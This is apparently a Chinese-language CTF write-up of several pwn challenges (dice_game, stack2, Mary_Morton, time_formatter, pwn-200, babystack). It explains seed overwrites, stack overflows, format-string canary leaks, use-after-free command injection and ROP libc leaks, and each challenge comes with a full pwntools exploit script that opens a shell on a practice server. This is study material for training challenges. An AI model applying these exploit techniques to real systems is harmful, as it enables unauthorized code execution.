目录
dice_game
反应釜开关控制
stack2
Mary_Morton
time_formatter
pwn-200
pwn1 babycrack
这个提跟新手区一个题很像,都是利用溢出覆盖随机数的种子,使得随机数产生的序列固定,在本地产生序列后脚本提交就可以了
ida查看程序
栈信息:
将seed覆盖为全0,使用c在kali中跑一下:
#include
#include
int main()
{
srand(0);
for(int i = 0; i < 50; i++)
{
int a = rand() % 6 + 1;
printf("%d,",a);
}
return 0;
}
获取到序列:
2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1
构造exp:
from pwn import *
rd=[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
#r=process("./dice_game")
r=remote("220.249.52.133",51168)
r.recvuntil("Welcome, let me know your name: ")
payload='aa\0'+'a' * 0x37 + p64(0) + p64(0)
r.sendline(payload)
print(r.recvline())
print(r.recvline())
for i in rd:
print(r.recv(24))
r.sendline(str(i))
print(r.recvline())
r.interactive()
得到flag:
ida中查看
得知gets那里有攻击点,覆盖返回地址成想要执行的函数地址即可。
如果没有程序的话 需要依次调用起easy、normal、shell即可获得shell。
但是因为有程序,可以直接找到shell函数的地址,跳转过去就可以了。
exp:
from pwn import *
s3=0x4005f6
#r=process("./fanyingfu")
r=remote("220.249.52.133",42128)
payload='a'*0x200+'b'*8+p64(s3)
r.sendline(payload)
r.interactive()
得到flag:
放入ida查看
查看每个输入看是否有溢出点,最后只是在
发现,可以通过v13区修改栈上的数据,就可以覆盖返回地址。
查找字符串找到了/bin/bash 追踪调用找到了调用shell的函数,尝试覆盖到hackhere处。
main的栈数据:
返回地址针对数组偏移地址计算:0x70 +4 也就是0x74 ,但是尝试攻击时可不到shell,gdb跟踪到ret附近查看,发现
0x80488eb : mov ecx,DWORD PTR [ebp-0x4]
0x80488ee : leave
0x80488ef : lea esp,[ecx-0x4]
=> 0x80488f2 : ret
lea esp,[ecx-0x4]
leave前 栈返回地址是正常的,但是执行完lea这个指令后,栈顶增加0x10,所以正确的偏移是0x70 +4+0x10
0xffffd26c -> 0xffffd27c
构造exp
#encoding=utf-8
from pwn import *
r=remote("220.249.52.133", 45002)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline('0')
#system
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("132")
r.recvuntil("new number:")
r.sendline("155")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("133")
r.recvuntil("new number:")
r.sendline("133")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("134")
r.recvuntil("new number:")
r.sendline("4")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("135")
r.recvuntil("new number:")
r.sendline("8")
r.recvuntil("5. exit")
r.sendline("5")
r.interactive()
提示 sh: 1: /bin/bash: not found 但是本地正常。
然后尝试直接调用system 和自己构造/bin/sh 都不行,不得以找了下writeup 发现可以不用自己构造字符串,直接截取/bin/bash中的sh就可以了。
最后的exp:
#encoding=utf-8
from pwn import *
hack_addr=0x0804859B
system_addr=0x8048450
sh_addr= 0x8048980+7
r=remote("220.249.52.133", 45002)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline('0')
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("140")
r.recvuntil("new number:")
r.sendline("135")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("141")
r.recvuntil("new number:")
r.sendline("137")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("142")
r.recvuntil("new number:")
r.sendline("4")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("143")
r.recvuntil("new number:")
r.sendline("8")
#system
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("132")
r.recvuntil("new number:")
r.sendline("80")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("133")
r.recvuntil("new number:")
r.sendline("132")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("134")
r.recvuntil("new number:")
r.sendline("4")
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("135")
r.recvuntil("new number:")
r.sendline("8")
r.recvuntil("5. exit")
r.sendline("5")
r.interactive()
得到flag:
非常简单的热身pwn
这道题存在字符串格式化漏洞和栈溢出漏洞,因为不知道Canary就算出了函数以及不同的子函数里面是不变的,所以考虑是不是两种漏洞都可以单独成功,(打完后看评论 有人说可以。。。)一直在尝试最后找资料发现Canary是不变的,所以使用字符串格式化漏洞获取Canary然后在栈溢出中覆盖Canary和EIP。
ida:
两个函数内部分别是 字符串格式化漏洞和栈溢出漏洞 打印的菜单已经提示。
格式化漏洞:buf
buf是 ebp-90 Canary是ebp-8 返回EIP是ebp-8
因为是64位程序,(0x90-8)/8 + 1 + 5 = 23
栈溢出那边:
buf是 ebp-90 Canary是ebp-8 返回EIP是ebp-8
exp:
#encoding=utf-8
from pwn import *
r=remote("220.249.52.133",38925)
hack_addr = 0x4008DA
r.recvuntil("3. Exit the battle \n")
r.sendline("2")
payload='%23$p'
r.sendline(payload)
sleep(0.5)
r.recvuntil("0x")
scanary= r.recvline()
scanary = int("0x"+scanary,16)
print(hex(scanary))
r.recvuntil("3. Exit the battle \n")
r.sendline("1")
payload='A'*0x88+p64(scanary) + p64(0)+ p64(hack_addr)
r.sendline(payload)
r.interactive()
描述:将UNIX时间转换为日期是很困难的,所以玛丽编写了一个工具来完成这个任务。
这是一个use after free 的漏洞题。IDA查看:
输入1时有输入字符的校验,所以无法在1处构造命令。而输入3时没有对输入内容做校验。
这里输入5 退出时存在UAF漏洞,先输入1申请格式内存,然后5释放格式内存,再执行3申请内存时,申请的内存地址其实是刚刚的格式化内存,这时时间格式和时区指向同样的地址。在3里面构造shell即可。 测试过程如下:
> 1
Format: AAA
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
Are you sure you want to exit (y/N)? N
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: BBB
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: BBB
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
exp:
from pwn import *
r=remote("220.249.52.133",58893)
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("Format: ")
r.sendline("AAAA")
r.recvuntil("> ")
r.sendline("5")
r.recvuntil("Are you sure you want to exit (y/N)? ")
r.sendline("N")
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("Time zone: ")
r.sendline("A\';/bin/sh;\'")
r.recvuntil("> ")
r.sendline("4")
r.interactive()
得到shell
这个题跟新手区的level3类似,不过level3提供了glibc的库,这个题里面没有提供,所以就需要利用DynELF和write函数泄露system的地址。
同时/bin/sh也无法找到现成的字符串可以利用,需要使用read函数构造用户输入。
存在的溢出点为:
程序的保护:
write、read、main、存在溢出点的函数、还需要找3个pop 的代码段都可以在ida中找到,构造exp:
from pwn import *
#context(log_level='debug',arch='i386',os='linux')
r=remote("220.249.52.133",36995)
elf= ELF("./pwn-200")
write_plt=elf.plt['write']
func_addr = 0x8048484
def leak(address):
payload="A"*112+p32(write_plt) + p32(func_addr)+p32(1) +p32(address)+ p32(4)
r.sendline(payload)
d= r.recv(4)
return d
print(r.recv())
dyn = DynELF(leak,elf=ELF("./pwn-200"))
sys_addr = dyn.lookup("system",'libc')
print("sys_addr:"+hex(sys_addr))
main_addr= 0x80484be
payload="A"*112+p32(main_addr)
r.sendline(payload)
print(r.recv())
read_plt=elf.plt['read']
bss_addr=elf.bss()
pop3_addr = 0x080485cd
# block + read addr + read ret +read param:stdin + readtobuf + readmaxnums + pop read param + anysystemretaddr + system param
payload="A"*112 + p32(read_plt) + p32(sys_addr) + p32(0) + p32(bss_addr)+ p32(10) + p32(pop3_addr) + p32(main_addr) + p32(bss_addr)
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
这个题目步骤:
1、获取canary。
2、利用puts计算puts地址。
3、利用泄露的libc查找system和sh(/bin/sh不可用。。。) 或者查找one_gadget
4、构造payload
exp:
#encoding=utf-8
from pwn import *
r=remote("220.249.52.133",34102)
elf= ELF("./babystack")
libc= ELF("./libc-2.23.so")
r.sendlineafter(">> ","1")
payload="A"*136
r.sendline(payload)
print(r.recv())
r.sendlineafter(">> ","2")
r.recvuntil("A"*136) #泄露canary
canary=u64(r.recv(8))-0x0a #canary最低位为00,正好对应payload的回车
print("canary:"+hex(canary))
r.sendlineafter(">> ","1")
main_addr=0x400908 #因为没有开启PIE每次地址相同 ida中获取
popedi_addr=0x400a93
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload="A"*136+p64(canary)+p64(0)+p64(popedi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.sendlineafter(">> ","3")
puts_addr=u64(r.recv(8).ljust(8,'\x00')) #不足8个字节 u64报错
print("puts_addr:"+hex(puts_addr))
#sysoffset = 0x45216 #one_gadget获取到的 one_gadget方式
sysoffset = libc.symbols['system'] #使用system的方式,后来晚上发现可以用one_gadget,后面payload不用传参
putsoffset = libc.symbols['puts']
print("sysoffset:"+hex(sysoffset))
sys_addr=sysoffset + puts_addr - putsoffset
print("sys_addr:"+hex(sys_addr))
sh_offset=libc.search("sh\x00").next() #
sh_addr=sh_offset + puts_addr - putsoffset
print("sh_addr:"+hex(sh_addr))
r.sendlineafter(">> ","1")
payload="A"*136+p64(canary)+p64(0)+p64(popedi_addr)+p64(sh_addr)+p64(sys_addr) #system方式
#payload="A"*136+p64(canary)+p64(0)+p64(sys_addr) #one_gadget方式
r.sendline(payload)
r.sendlineafter(">> ","3")
r.interactive()